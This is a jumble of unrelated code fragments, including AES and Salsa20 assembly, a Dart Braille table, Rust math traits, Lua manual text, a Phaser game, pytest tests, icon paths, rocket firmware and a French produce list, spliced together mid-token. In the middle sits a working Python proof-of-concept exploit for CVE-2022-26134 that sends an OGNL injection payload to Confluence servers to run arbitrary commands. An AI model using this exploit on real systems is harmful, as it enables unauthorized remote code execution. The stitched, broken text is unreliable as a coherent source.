l	$9,%ecx
	movups	%xmm0,-16(%edx)
.byte	102,15,58,223,200,1
	call	.L023key_128_cold
.byte	102,15,58,223,200,2
	call	.L024key_128
.byte	102,15,58,223,200,4
	call	.L024key_128
.byte	102,15,58,223,200,8
	call	.L024key_128
.byte	102,15,58,223,200,16
	call	.L024key_128
.byte	102,15,58,223,200,32
	call	.L024key_128
.byte	102,15,58,223,200,64
	call	.L024key_128
.byte	102,15,58,223,200,128
	call	.L024key_128
.byte	102,15,58,223,200,27
	call	.L024key_128
.byte	102,15,58,223,200,54
	call	.L024key_128
	movups	%xmm0,(%edx)
	movl	%ecx,80(%edx)
	jmp	.L025good_key
.align	16
.L024key_128:
	movups	%xmm0,(%edx)
	leal	16(%edx),%edx
.L023key_128_cold:
	shufps	$16,%xmm0,%xmm4
	xorps	%xmm4,%xmm0
	shufps	$140,%xmm0,%xmm4
	xorps	%xmm4,%xmm0
	shufps	$255,%xmm1,%xmm1
	xorps	%xmm1,%xmm0
	ret
.align	16
.L02210rounds_alt:
	movdqa	(%ebx),%xmm5
	movl	$8,%ecx
	movdqa	32(%ebx),%xmm4
	movdqa	%xmm0,%xmm2
	movdqu	%xmm0,-16(%edx)
.L026loop_key128:
.byte	102,15,56,0,197
.byte	102,15,56,221,196
	pslld	$1,%xmm4
	leal	16(%edx),%edx
	movdqa	%xmm2,%xmm3
	pslldq	$4,%xmm2
	pxor	%xmm2,%xmm3
	pslldq	$4,%xmm2
	pxor	%xmm2,%xmm3
	pslldq	$4,%xmm2
	pxor	%xmm3,%xmm2
	pxor	%xmm2,%xmm0
	movdqu	%xmm0,-16(%edx)
	movdqa	%xmm0,%xmm2
	decl	%ecx
	jnz	.L026loop_key128
	movdqa	48(%ebx),%xmm4
.byte	102,15,56,0,197
.byte	102,15,56,221,196
	pslld	$1,%xmm4
	movdqa	%xmm2,%xmm3
	pslldq	$4,%xmm2
	pxor	%xmm2,%xmm3
	pslldq	$4,%xmm2
	pxor	%xmm2,%xmm3
	pslldq	$4,%xmm2
	pxor	%xmm3,%xmm2
	pxor	%xmm2,%xmm0
	movdqu	%xmm0,(%edx)
	movdqa	%xmm0,%xmm2
.byte	102,15,56,0,197
.byte	102,15,56,221,196
	movdqa	%xmm2,%xmm3
	pslldq	$4,%xmm2
	pxor	%xmm2,%xmm3
	pslldq	$4,%xmm2
	pxor	%xmm2,%xmm3
	pslldq	$4,%xmm2
	pxor	%xmm3,%xmm2
	pxor	%xmm2,%xmm0
	movdqu	%xmm0


'3', '4', '5']
    ],
    '^': [
      _MODIFIER_4,
      ['2', '6']
    ],
    '*': [
      _MODIFIER_5,
      ['3', '5']
    ],
    '÷': [
      _MODIFIER_5,
      ['3', '4']
    ],
    '×': [
      _MODIFIER_5,
      ['2', '3', '6']
    ],
  },
  BrailleLanguage.FRA: {
    '[': [
      _MODIFIER_45,
      ['2', '3', '6']
    ],
    ']': [
      _MODIFIER_356,
      ['1', '2']
    ],
    '{': [
      _MODIFIER_6,
      ['6'],
      ['2', '3', '6']
    ],
    '}': [
      _MODIFIER_356,
      ['3'],
      ['3']
    ],
    '§': [
      _MODIFIER_5,
      ['1', '2', '3', '4', '5', '6']
    ],
    '°': [
      _MODIFIER_5,
      ['1', '3', '5']
    ],
    '%': [
      _MODIFIER_5,
      ['3', '4', '6']
    ],
    '_': [
      _MODIFIER_5,
      ['3', '6']
    ],
    '\\': [
      _MODIFIER_5,
      ['3', '4']
    ],
    '#': [
      _MODIFIER_5,
      ['3', '4', '5', '6']
    ],
    '~': [
      _MODIFIER_5,
      ['2', '6']
    ],
    '+': [
      _MODIFIER_6,
      ['2', '3', '5']
    ],
    '=': [
      _MODIFIER_6,
      ['2', '3', '5', '6']
    ],
    '<': [
      _MODIFIER_5,
      ['1', '2', '6']
    ],
    '>': [
      _MODIFIER_5,
      ['3', '4', '5']
    ],
    '*': [
      _MODIFIER_5,
      ['3', '5']
    ],
    '÷': [
      _MODIFIER_6,
      ['2', '5']
    ],
    '×': [
      _MODIFIER_6,
      ['3', '5']
    ],
    '‰': [
      _MODIFIER_5,
      ['3', '4', '6'],
      ['3', '4', '6']
    ],
  },
};

const Map<BrailleLanguage, List<String>> _CharsetSymbolsComposed = {
  BrailleLanguage.DEU: [
    '[',
    ']',
    '@',
    '°',
    '&',
    '/',
    '|',
    '\\',
    '_',
    '%',
    '"',
    '+',
    '=',
    '<',
    '>',
    '^',
    '*',
    '÷',
    '×',
    '‰'
  ],
  BrailleLanguage.ENG: [
    '(',
    ')',
    '[',
    ']',
    '{',
    '}',
    '„',
    '“',
    '«',
    '»',
    '‘',
    '’',
    '§',
    '@',
    '°',
    '&',
    '/',
    '|',
    '"',
    '%',
    '_',
    '\\',
    '#',
    '~',
    '+',
    '=',
    '<',
    '>',
    '^',
    '*',
    '÷',
    '×'
  ],
  BrailleLanguage.FRA: ['[', ']', '{', '}', '


>peak_index].remove_molecular_formula(mf_obj)
122
123        return ms_peak_indexes

Apply isotopologue filter to the mass spectrum.

Parameters

ms_peak_indexes (list):
List of peak indexes and their associated molecular formula objects.

mass_spectrum_obj (MassSpectrum):
The mass spectrum object.

Returns

filtered_ms_peak_indexes (list):
List of peak indexes and their associated molecular formula objects after applying the isotopologue filter.


b` if they are comparable.
    #[inline]
    fn partial_max<'a>(a: &'a Self, b: &'a Self) -> Option<&'a Self> {
        match PartialOrd::partial_cmp(a, b) {
            PartialGreater | PartialEqual => Some(a),
            PartialLess                   => Some(b),
            NotComparable                 => None
        }
    }

    /// Clamp `value` between `min` and `max`. Returns `None` if `value` is not comparable to
    /// `min` or `max`.
    #[inline]
    fn partial_clamp<'a>(value: &'a Self, min: &'a Self, max: &'a Self) -> Option<&'a Self> {
        let v_min = PartialOrd::partial_cmp(value, min);
        let v_max = PartialOrd::partial_cmp(value, max);

        if v_min.is_not_comparable() || v_max.is_not_comparable() {
            None
        }
        else {
            if v_min.is_lt() {
                Some(min)
            }
            else if v_max.is_gt() {
                Some(max)
            }
            else {
                Some(value)
            }
        }
    }
}

/// Trait for testing approximate equality
pub trait ApproxEq<Eps> {
    /// Default epsilon for approximation.
    fn approx_epsilon(unused_self: Option<Self>) -> Eps;

    /// Tests approximate equality using a custom epsilon.
    fn approx_eq_eps(a: &Self, other: &Self, epsilon: &Eps) -> bool;

    /// Tests approximate equality.
    #[inline]
    fn approx_eq(a: &Self, b: &Self) -> bool {
        ApproxEq::approx_eq_eps(a, b, &ApproxEq::approx_epsilon(None::<Self>))
    }
}

impl ApproxEq<f32> for f32 {
    #[inline]
    fn approx_epsilon(_: Option<f32>) -> f32 {
        1.0e-6
    }

    #[inline]
    fn approx_eq_eps(a: &f32, b: &f32, epsilon: &f32) -> bool {
        (*a - *b).abs() < *epsilon
    }
}

impl ApproxEq<f64> for f64 {
    #[inline]
    fn approx_epsilon(_: Option<f64>) -> f64 {
        1.0e-6
    }

    #[inline]
    fn approx_eq_eps(a: &f64, b: &f64, approx_epsilon: &f64) -> bool {
        (*a - *b).abs() < *approx_epsilon
    }
}

/// Trait of objects having an absolute value.
/// This is useful if the object does not have the same type as its absolute value.
pub trait Absolute<A> {
    /// Computes some absolute value of this object.
    /// Typically, this will make all component of a matrix or vector positive.
    fn abs(&Self) -> A;
}

/// Trait of objects having an inverse. Typically used to implement matrix inverse.
pub trait Inv {
    /// Returns the inverse of `m`.
    fn inv_cpy(m: &Self) -> Option<Self>;

    /// In-place version of `inverse`.
    fn inv(&mut self) -> bool;
}

/// Trait of objects having a determinant. Typically used by square matrices.
pub trait Det<N> {
    /// Returns the determinant of `m`.
    fn det(m: &Self) -> N;
}

/// Trait of objects which can be transposed.
pub trait Transpose {
    /// Computes the transpose of a matrix.
    fn transpose_cpy(m: &Self) -> Self;

    /// In-place version of `transposed`.
    fn transpose(&mut self);
}

/// Traits of objects having an outer product.
pub trait Outer<M> {
    /// Computes the outer product: `a * b`
    fn outer(a: &Self, b: &Self) -> M;
}

/// Trait for computing the covariance of a set of data.
pub trait Cov<M> {
    /// Computes


uniform pseudo-random real number
in the range [0,1).
When called with an integer number m,
math.random returns
a uniform pseudo-random integer in the range [1, m].
When called with two integer numbers m and n,
math.random returns a uniform pseudo-random
integer in the range [m, n].

math.randomseed (x)

Sets x as the "seed"
for the pseudo-random generator:
equal seeds produce equal sequences of numbers.

math.sin (x)

Returns the sine of x (assumed to be in radians).

math.sinh (x)

Returns the hyperbolic sine of x.

math.sqrt (x)

Returns the square root of x.
(You can also use the expression x^0.5 to compute this value.)

math.tan (x)

Returns the tangent of x (assumed to be in radians).

math.tanh (x)

Returns the hyperbolic tangent of x.

6.7 – Bitwise Operations

This library provides bitwise operations.
It provides all its functions inside the table bit32.

Unless otherwise stated,
all functions accept numeric arguments in the range
(-251,+251);
each argument is normalized to
the remainder of its division by 232
and truncated to an integer (in some unspecified way),
so that its final value falls in the range [0,232 - 1].
Similarly, all results are in the range [0,232 - 1].
Note that bit32.bnot(0) is 0xFFFFFFFF,
which is different from -1.

bit32.arshift (x, disp)

Returns the number x shifted disp bits to the right.
The number disp may be any representable integer.
Negative displacements shift to the left.

This shift operation is what is called arithmetic shift.
Vacant bits on the left are filled
with copies of the higher bit of x;
vacant bits on the right are filled with zeros.
In particular,
displacements with absolute values higher than 31
result in zero or 0xFFFFFFFF (all original bits are shifted out).

bit32.band


lea     esi,[esp+08h+048h]
        mov     eax,edi
; Line 109: {
; Line 110:     return __bc > 2 && !(__bc & (__bc - 1));
        cmp     eax,byte 02h
        jbe     L_184235
        mov     ecx,eax
        dec     ecx
        and     eax,ecx
        je      L_184233
L_184235:
        xor     eax,eax
        jmp     L_184234
L_184233:
        mov     eax,01h
L_184234:
        and     eax,eax
        setne   al
        and     eax,byte 01h
; Line 111: }
        and     al,al
        je      L_184216
        mov     ebp,ebx
; Line 2304:     return static_cast<_Base1&>(*this).__get();
; Line 2305:   }
        mov     eax,dword [ebp+014h]
        push    eax
        call    __ultof ; _ultof
        cvtsd2ss xmm0,xmm0
; Line 2304:     return static_cast<_Base1&>(*this).__get();
; Line 2305:   }
        divss   xmm0,[ebp+01ch]
        push    ecx
        movss   [esp],xmm0
        call    _ceilf ; ceilf
        fstp    dword [esp-030h+04ch]
        movss   xmm0,[esp-030h+04ch]
        add     esp,byte 04h
        push    byte 04h
        cvtss2sd xmm0,xmm0
        sub     esp,byte 08h
        movsd   [esp],xmm0
        call    __ftoi ; _ftoi
; Line 124: {
; Line 125:     return __n < 2 ? __n : (size_t(1) << (std::numeric_limits<size_t>::digits - __libcpp_clz(__n-1)));
        cmp     eax,byte 02h
        jc      L_184365
L_184364:
        mov     ecx,eax
        dec     ecx
        bsr     eax,ecx
        xor     eax,byte 01fh
        mov     ecx,020h
        sub     ecx,eax
        mov     eax,01h
        shl     eax,cl
L_184365:
; Line 126: }
        mov     dword [esp-04h+048h],eax
        lea     eax,[esp-04h+048h]
        jmp     L_184217
L_184216:
        mov     ebp,ebx
; Line 2304:     return static_cast<_Base1&>(*this).__get();
; Line 2305:   }
        mov     eax,dword [ebp+014h]
        push    eax
        call    __ultof ; _ultof
        cvtsd2ss xmm0,xmm0
; Line 2304:     return static_cast<_Base1&>(*this).__get();
; Line 2305:   }
        divss   xmm0,[ebp+01ch]
        push    ecx
        movss   [esp],xmm0
        call    _ceilf ; ceilf
        fstp    dword [esp-030h+04ch]
        movss   xmm0,[esp-030h+04ch]
        add     esp,byte 04h
        push    byte 04h
        cvtss2sd xmm0,xmm0
        sub     esp,byte 08h
        movsd   [esp],xmm0
        call    __ftoi ; _ftoi
        push    eax
        call    @std@__next_prime.qui ; std::__next_prime(unsigned int)
        add     esp,byte 04h
        mov     dword [esp-08h+048h],eax
        lea     eax,[esp-08h+048h]
L_184217:
; Line 2635:     return _VSTD::max(__a, __b, __less<_Tp>());
        mov     dword [esp-038h+048h],00


	{
// 				Err(_) => break,
// 				Ok(logRecord) =>
// 				{
// 					let message = logRecord.target();
//
// 					println!("{}", message);
//
// 					// if we change this to format!(), we're allocated a string on the heap
// 					let result = writer.send_3164(Severity::LOG_ALERT, &message);
// 					if result.is_err()
// 					{
// 						println!("error sending to syslog {}", result.err().expect("got error"));
// 					}
// 				},
// 			}
// 		}
// 	});
//
// 	return (joinHandle, sender);
// }
//
// // Problem: each thread has a sender...
// pub fn init(log: LogLevelFilter, sender: Sender<String>) -> Result<(), SetLoggerError>
// {
// 	log::set_logger(|max_log_level|
// 	{
// 	    max_log_level.set(LogLevelFilter::Info);
// 	    Box::new(ForwardingLogger::new())
// 	})
// }
extern crate cgmath;
extern crate meshlite;
extern crate petgraph;

use bmesh::Bmesh;
//use cgmath::Deg;
//use cgmath::Matrix4;
use cgmath::Point3;
//use cgmath::Rad;
//use cgmath::Vector3;
//use cgmath::prelude::*;
use mesh::Export;
//use mesh::Import;
//use mesh::Mesh;
use meshlite::bmesh;
//use meshlite::debug;
//use meshlite::iterator;
use meshlite::mesh;
//use meshlite::primitives;
//use meshlite::subdivide;
//use meshlite::triangulate;
//use meshlite::util;
//use meshlite::wavefront;
//use meshlite::wrap;
//use subdivide::CatmullClarkSubdivider;
//use subdivide::Subdivide;
//use triangulate::Triangulate;
//use wrap::GiftWrapper;

//fn plane() -> Mesh {
//    let mut m = Mesh::new();
//    let face_id = m.add_plane(1.0, 1.0);
//    m
//}

fn main() {
    //let mut m = Mesh::new();
    //let face_id = m.add_plane(2.0, 1.0);
    //let normal = m.face_norm(face_id);
    //m.extrude_face(face_id, normal, 1.0);
    //m.save_obj("test.obj").expect("save file failed");

    /*
    let mut m1 = cube();
    let v1 = Vector3 {x: 0.0, y: -1.0, z: 0.0};
    let mut mat1 = Matrix4::from_translation(v1);
    let matr = Matrix4::from_angle_x(Rad::from(Deg(-90.0)));
    mat1 = mat1 * matr;
    m1.transform(&mat1);

    let mut m2 = plane();
    let v2 = Vector3 {x: 0.0, y: 2.0, z: 0.0};
    let mut mat2 = Matrix4::from_translation(v2);
    let matr = Matrix4::from_angle_x(Rad::from(Deg(90.0)));
    mat2 = mat2 * matr;
    m2.transform(&mat2);

    let mut m3 = m1 + m2;

    let mut gw = GiftWrapper::new();
    gw.stitch_two_face


 Atom;
    lives: number;
    lifeDisplay: Phaser.GameObjects.Container;
    elementDisplay: Phaser.GameObjects.Container;

    constructor() {
        super('game');
    }

    preload() {
        this.loadImage('titlescreen');
        this.loadImage('background');
        this.loadImage('electron');
        this.loadImage('electron_orange');
        this.loadImage('electron_purple');
        this.loadImage('proton');
        this.loadImage('ring');
        this.loadImage('life');
        this.loadImage('element_frame');

        this.loadAudio('click');
        this.loadAudio('ding');
        this.loadAudio('zapp');
    }

    loadImage(name: string) {
        this.load.image(name, `assets/${name}.png`);
    }

    loadAudio(name: string) {
        if (this.game.device.audio.ogg) {
            console.log(`loading ogg`);
            this.load.audio(name, `assets/${name}.ogg`);
        } else {
            console.log(`loading mp3`);
            this.load.audio(name, `assets/${name}.mp3`);
        }
    }

    create() {
        let titleScreen = this.add.image(C.GAME_WIDTH / 2, C.GAME_HEIGHT / 2, 'titlescreen');
        titleScreen.displayWidth = C.GAME_WIDTH;
        titleScreen.displayHeight = C.GAME_HEIGHT;
        titleScreen.setInteractive();

        this.input.keyboard.on('keydown', () => {
            this.input.keyboard.off('keydown');
            titleScreen.off('pointerdown');
            titleScreen.destroy();
            this.start();
        });
        titleScreen.on('pointerdown', () => {
            this.input.keyboard.off('keydown');
            titleScreen.off('pointerdown');
            titleScreen.destroy();
            this.start();
        });
    }

    update(time: number, delta: number) {
        if (this.atom !== undefined) {
            this.atom.update(time, delta);
        }
    }

    start() {
        let background = this.add.image(C.GAME_WIDTH / 2, C.GAME_HEIGHT / 2, 'background');
        background.displayWidth = C.GAME_WIDTH;
        background.displayHeight = C.GAME_HEIGHT;

        this.lifeDisplay = new Phaser.GameObjects.Container(this, 70, 70);
        this.lifeDisplay.scale = C.GUI_SCALE;
        this.lives = C.INITIAL_LIVES + 1;
        this.removeLife();

        this.elementDisplay = new Phaser.GameObjects.Container(this, C.GAME_WIDTH - 70, 70);
        this.elementDisplay.scale = C.GUI_SCALE;

        this.atom = new Atom(this);

        this.add.existing(this.atom);
        this.add.existing(this.lifeDisplay);
        this.add.existing(this.elementDisplay);

    }

    removeLife() {
        this.lives--;
        this.lifeDisplay.removeAll();
        for (let i = 0; i < this.lives; i++) {
            let life = new Phaser.GameObjects.Image(this, i * 350, 0, 'life');
            this.lifeDisplay.add(life);
        }
        if (this.lives <= 0) {
            this.scene.start('gameover', {elementNumber: this.atom.elementNumber});
        }
    }

    updateElementDisplay(elementNumber:  number) {
        this.elementDisplay.removeAll();
        this.elementDisplay.add(new Phaser.GameObjects.Image(this, 0, 0, 'element_frame'))
        this.elementDisplay.add(new Phaser.GameObjects.Text(this, -140, -150, C.ELEMENT_NAMES[elementNumber], {
            fontFamily: 'sans-serif',


$0x00000014, CX

MAINLOOP2:
	PADDL  X0, X4
	MOVOA  X0, X5
	MOVOA  X4, X6
	PSLLL  $0x07, X4
	PSRLL  $0x19, X6
	PXOR   X4, X3
	PXOR   X6, X3
	PADDL  X3, X5
	MOVOA  X3, X4
	MOVOA  X5, X6
	PSLLL  $0x09, X5
	PSRLL  $0x17, X6
	PXOR   X5, X2
	PSHUFL $0x93, X3, X3
	PXOR   X6, X2
	PADDL  X2, X4
	MOVOA  X2, X5
	MOVOA  X4, X6
	PSLLL  $0x0d, X4
	PSRLL  $0x13, X6
	PXOR   X4, X1
	PSHUFL $0x4e, X2, X2
	PXOR   X6, X1
	PADDL  X1, X5
	MOVOA  X3, X4
	MOVOA  X5, X6
	PSLLL  $0x12, X5
	PSRLL  $0x0e, X6
	PXOR   X5, X0
	PSHUFL $0x39, X1, X1
	PXOR   X6, X0
	PADDL  X0, X4
	MOVOA  X0, X5
	MOVOA  X4, X6
	PSLLL  $0x07, X4
	PSRLL  $0x19, X6
	PXOR   X4, X1
	PXOR   X6, X1
	PADDL  X1, X5
	MOVOA  X1, X4
	MOVOA  X5, X6
	PSLLL  $0x09, X5
	PSRLL  $0x17, X6
	PXOR   X5, X2
	PSHUFL $0x93, X1, X1
	PXOR   X6, X2
	PADDL  X2, X4
	MOVOA  X2, X5
	MOVOA  X4, X6
	PSLLL  $0x0d, X4
	PSRLL  $0x13, X6
	PXOR   X4, X3
	PSHUFL $0x4e, X2, X2
	PXOR   X6, X3
	PADDL  X3, X5
	MOVOA  X1, X4
	MOVOA  X5, X6
	PSLLL  $0x12, X5
	PSRLL  $0x0e, X6
	PXOR   X5, X0
	PSHUFL $0x39, X3, X3
	PXOR   X6, X0
	PADDL  X0, X4
	MOVOA  X0, X5
	MOVOA  X4, X6
	PSLLL  $0x07, X4
	PSRLL  $0x19, X6
	PXOR   X4, X3
	PXOR   X6, X3
	PADDL  X3, X5
	MOVOA  X3, X4
	MOVOA  X5, X6
	PSLLL  $0x09, X5
	PSRLL  $0x17, X6
	PXOR   X5, X2
	PSHUFL $0x93, X3, X3
	PXOR   X6, X2
	PADDL  X2, X4
	MOVOA  X2, X5
	MOVOA  X4, X6
	PSLLL  $0x0d, X4
	PSRLL  $0x13, X6
	PXOR   X4, X1
	PSHUFL $0x4e, X2, X2
	PXOR   X6, X1
	PADDL  X1, X5
	MOVOA  X3, X4
	MOVOA  X


#Libraries
#---------------------------------
import requests
import argparse
import re
import sys
from bs4 import BeautifulSoup
import urllib3
urllib3.disable_warnings()
#---------------------------------

def send_payload(host, command):
    print("Executing Payload...\n")
    response = requests.get("{}/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22{}%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/".format(host, command), verify=False, allow_redirects=False)

    if(response.status_code == 302):
        return response.headers['X-Cmd-Response']
    else:
        print("Exploit Failed")
        return False

def check_version(host):
  print("Searching for target version\n")
  response = requests.get("{}/login.action".format(host), verify=False)
  if response.status_code == 200:
    filter_version = re.findall(".*", response.text)
    if(len(filter_version) >= 1):
      version = filter_version[0].split("'>")[1].split('</')[0]
      return version
    else:
      return False
  else:
    return host

if(len(sys.argv) < 3):
  #Print Usage
  print("\n---CVE-2022-26134 Exploit PoC by shamoo0---\n\n")
  print("Usage:")
  print("{} https://target.com cmd".format(sys.argv[0]))
  print("ex: {} https://confluence.com whoami".format(sys.argv[0]))
  print("ex: {} https://confluence.com 'ls -la'".format(sys.argv[0]))

else:
  target = sys.argv[1]
  cmd = sys.argv[2]
  version = check_version(target) #Checks Target Version
  if version :
    print("Target version found!\n")
    print("Confluence target version: {}".format(version))
  else:
    print("Can't find the used version for this target")
  exec_payload = send_payload(target, cmd) #Executes Payload
  print(exec_payload)


mock_query_response = {'totalSize': 1, 'records': [{'Id': 1}]}
            api._sf.query.return_value = mock_query_response  # pylint: disable=protected-access
            api._sf.Task.create.side_effect = SalesforceError("", "", "", "")  # pylint: disable=protected-access
            with pytest.raises(SalesforceError):
                api.retire_learner(test_learner)

def test_retire_success(test_learner, caplog):  # pylint: disable=redefined-outer-name
    caplog.set_level(logging.INFO)
    with mock_get_user():
        with mock.patch('tubular.salesforce_api.Salesforce'):
            api = make_api()
            mock_query_response = {'totalSize': 1, 'records': [{'Id': 1}]}
            api._sf.query.return_value = mock_query_response  # pylint: disable=protected-access
            mock_task_response = {'success': True, 'id': 'task-id'}
            api._sf.Task.create.return_value = mock_task_response  # pylint: disable=protected-access
            api.retire_learner(test_learner)
            assert "Successfully salesforce task created task task-id" in caplog.text

def test_retire_multiple_learners(test_learner, caplog):  # pylint: disable=redefined-outer-name
    caplog.set_level(logging.INFO)
    with mock_get_user():
        with mock.patch('tubular.salesforce_api.Salesforce'):
            api = make_api()
            mock_response = {'totalSize': 2, 'records': [{'Id': 1}, {'Id': 2}]}
            api._sf.query.return_value = mock_response  # pylint: disable=protected-access
            mock_task_response = {'success': True, 'id': 'task-id'}
            api._sf.Task.create.return_value = mock_task_response  # pylint: disable=protected-access
            api.retire_learner(test_learner)
            assert "Multiple Ids returned for Lead with email foo@bar.com" in caplog.text
            assert "Successfully salesforce task created task task-id" in caplog.text
            note = "Notice: Multiple leads were identified with the same email. Please retire all following leads:"
            assert note in api._sf.Task.create.call_args[0][0]['Description']  # pylint: disable=protected-access


3-26 13.3L32 352c-10.3 0-19.9-4.9-26-13.3s-7.7-19.1-4.4-28.8l1-3c13.8-41.5 42.8-74.8 79.5-94.7L93.5 64 64 64C46.3 64 32 49.7 32 32zM160 384l64 0 0 96c0 17.7-14.3 32-32 32s-32-14.3-32-32l0-96z"],
    "trophy": [576, 512, [127942], "f091", "M400 0L176 0c-26.5 0-48.1 21.8-47.1 48.2c.2 5.3 .4 10.6 .7 15.8L24 64C10.7 64 0 74.7 0 88c0 92.6 33.5 157 78.5 200.7c44.3 43.1 98.3 64.8 138.1 75.8c23.4 6.5 39.4 26 39.4 45.6c0 20.9-17 37.9-37.9 37.9L192 448c-17.7 0-32 14.3-32 32s14.3 32 32 32l192 0c17.7 0 32-14.3 32-32s-14.3-32-32-32l-26.1 0C337 448 320 431 320 410.1c0-19.6 15.9-39.2 39.4-45.6c39.9-11 93.9-32.7 138.2-75.8C542.5 245 576 180.6 576 88c0-13.3-10.7-24-24-24L446.4 64c.3-5.2 .5-10.4 .7-15.8C448.1 21.8 426.5 0 400 0zM48.9 112l84.4 0c9.1 90.1 29.2 150.3 51.9 190.6c-24.9-11-50.8-26.5-73.2-48.3c-32-31.1-58-76-63-142.3zM464.1 254.3c-22.4 21.8-48.3 37.3-73.2 48.3c22.7-40.3 42.8-100.5 51.9-190.6l84.4 0c-5.1 66.3-31.1 111.2-63 142.3z"],
    "person-praying": [448, 512, [128720, "pray"], "f683", "M352 64A64 64 0 1 0 224 64a64 64 0 1 0 128 0zM232.7 264l22.9 31.5c6.5 8.9 16.3 14.7 27.2 16.1s21.9-1.7 30.4-8.7l88-72c17.1-14 19.6-39.2 5.6-56.3s-39.2-19.6-56.3-5.6l-55.2 45.2-26.2-36C253.6 156.7 228.6 144 202 144c-30.9 0-59.2 17.1-73.6 44.4L79.8 280.9c-20.2 38.5-9.4 85.9 25.6 111.8L158.6 432 72 432c-22.1 0-40 17.9-40 40s17.9 40 40 40l208 0c17.3 0 32.6-11.1 38-27.5s-.3-34.4-14.2-44.7L187.7 354l45-90z"],
    "hammer": [576, 512, [128296], "f6e3", "M413.5 237.5c-28.2 4.8-58.2-3.6-80-25.4l-38.1-38.1C280.4 159 272 138.8 272 117.6l0-12.1L192.3 62c-5.3-2.9-8.6-8.6-8.3-


#include "ch.h"
#include "hal.h"

#include "m3can.h"
#include "m3fc_ui.h"
#include "m3fc_config.h"
#include "m3fc_status.h"
#include "m3fc_mission.h"
#include "m3fc_state_estimation.h"
#include "ms5611.h"
#include "adxl345.h"

static const EXTConfig ext_cfg = {{
    {EXT_CH_MODE_DISABLED, NULL}, /* Pin 0 */
    {EXT_CH_MODE_DISABLED, NULL}, /* Pin 1 */
    {EXT_CH_MODE_DISABLED, NULL}, /* Pin 2 */
    {EXT_CH_MODE_DISABLED, NULL}, /* Pin 3 */
    {EXT_CH_MODE_DISABLED, NULL}, /* Pin 4 */
    {EXT_CH_MODE_DISABLED, NULL}, /* Pin 5 */
    {EXT_CH_MODE_DISABLED, NULL}, /* Pin 6 */
    {EXT_CH_MODE_DISABLED, NULL}, /* Pin 7 */
    {EXT_CH_MODE_DISABLED, NULL}, /* Pin 8 */
    {EXT_CH_MODE_DISABLED, NULL}, /* Pin 9 */
    {EXT_CH_MODE_DISABLED, NULL}, /* Pin 10 */
    {EXT_CH_MODE_AUTOSTART | EXT_CH_MODE_RISING_EDGE | EXT_MODE_GPIOA,
        adxl345_interrupt},       /* Pin 11 - PA11: ADXL345 INT1 */
    {EXT_CH_MODE_DISABLED, NULL}, /* Pin 12 */
    {EXT_CH_MODE_DISABLED, NULL}, /* Pin 13 */
    {EXT_CH_MODE_DISABLED, NULL}, /* Pin 14 */
    {EXT_CH_MODE_DISABLED, NULL}, /* Pin 15 */
    {EXT_CH_MODE_DISABLED, NULL}, /* PVD */
    {EXT_CH_MODE_DISABLED, NULL}, /* RTC Alarm */
    {EXT_CH_MODE_DISABLED, NULL}, /* USB OTG FS Wakeup */
    {EXT_CH_MODE_DISABLED, NULL}, /* Ethernet Wakeup */
    {EXT_CH_MODE_DISABLED, NULL}, /* USB OTG HS Wakeup */
    {EXT_CH_MODE_DISABLED, NULL}, /* RTC Tamper/Timestamp */
    {EXT_CH_MODE_DISABLED, NULL}, /* RTC Wakeup */
}};

int main(void) {
    /* Allow debug access during WFI sleep */
    DBGMCU->CR |= DBGMCU_CR_DBG_SLEEP;

    /* Turn on the watchdog timer, stopped in debug halt */
    DBGMCU->APB1FZ |= DBGMCU_APB1_FZ_DBG_IWDG_STOP;
    IWDG->KR = 0x5555;
    IWDG->PR = 3;
    IWDG->KR = 0xCCCC;

    halInit();
    chSysInit();

    uint16_t listen_to_ids[] = { CAN_ID_M3FC, CAN_ID_M3PSU, CAN_ID_M3PYRO };
    m3can_init(CAN_ID_M3FC, listen_to_ids, 3);

    m3fc_ui_init();
    m3fc_config_init();
    ms5611_init(&SPID1, GPIOC, GPIOC_BARO_CS);
    adxl345_init(&SPID2, GPIOA, GPIOA_ACCEL_CS);

    m3fc_state_estimation_init();
    m3fc_mission_init();

    extStart(&EXTD1, &ext_cfg);

    while (true) {
        /* Clear the watchdog timer */
        IWDG->KR = 0xAAAA;

        chThdSleepMilliseconds(100);
    }
}


', 'Fruit'),
  ('Figue', 'Fruit'),
  ('Fraise', 'Fruit'),
  ('Framboise', 'Fruit'),
  ('Fruit de la passion', 'Fruit'),
  ('Grenade', 'Fruit'),
  ('Groseille', 'Fruit'),
  ('Kaki', 'Fruit'),
  ('Kiwi', 'Fruit'),
  ('Litchi', 'Fruit'),
  ('Mangue', 'Fruit'),
  ('Melon', 'Fruit'),
  ('Mûre', 'Fruit'),
  ('Myrtille', 'Fruit'),
  ('Nectarine', 'Fruit'),
  ('Orange', 'Fruit'),
  ('Papaye', 'Fruit'),
  ('Pastèque', 'Fruit'),
  ('Pêche', 'Fruit'),
  ('Pépino', 'Fruit'),
  ('Pomelo', 'Fruit'),
  ('Pomme', 'Fruit'),
  ('Poire', 'Fruit'),
  ('Prune', 'Fruit'),
  ('Raisin', 'Fruit'),
  ('Rhubarbe', 'Fruit'),
  ('Surelle', 'Fruit'),
  ('Tomate', 'Fruit'),
  ('Vigne', 'Fruit'),
  ('Yuzu', 'Fruit'),
  ('Anone', 'Fruit'),
  ('Baie de goji', 'Fruit'),
  ('Carambole', 'Fruit'),
  ('Châtaigne', 'Fruit'),
  ('Goyave', 'Fruit'),
  ('Grenadille', 'Fruit'),
  ('Jacquier', 'Fruit'),
  ('Kumquat', 'Fruit'),
  ('Mangoustan', 'Fruit'),
  ('Pamplemousse', 'Fruit'),
  ('Physalis', 'Fruit'),
  ('Sapote', 'Fruit'),
  ('Sureau', 'Fruit'),
  ('Artichaut', 'Légume'),
  ('Aubergine', 'Légume'),
  ('Asperge', 'Légume'),
  ('Betterave', 'Légume'),
  ('Bok choy', 'Légume'),
  ('Brocoli', 'Légume'),
  ('Carotte', 'Légume'),
  ('Céleri', 'Légume'),
  ('Champignon', 'Légume'),
  ('Chou de Bruxelles', 'Légume'),
  ('Chou frisé', 'Légume'),
  ('Chou-rave', 'Légume'),
  ('Chou-fleur', 'Légume'),
  ('Concombre', 'Légume'),
  ('Courge', 'Légume'),
  ('Courgette', 'Légume'),
  ('Cresson', 'Légume'),
  ('Endive', 'Légume'),
  ('Épinard', 'Légume'),
  ('Fenouil', 'Légume'),
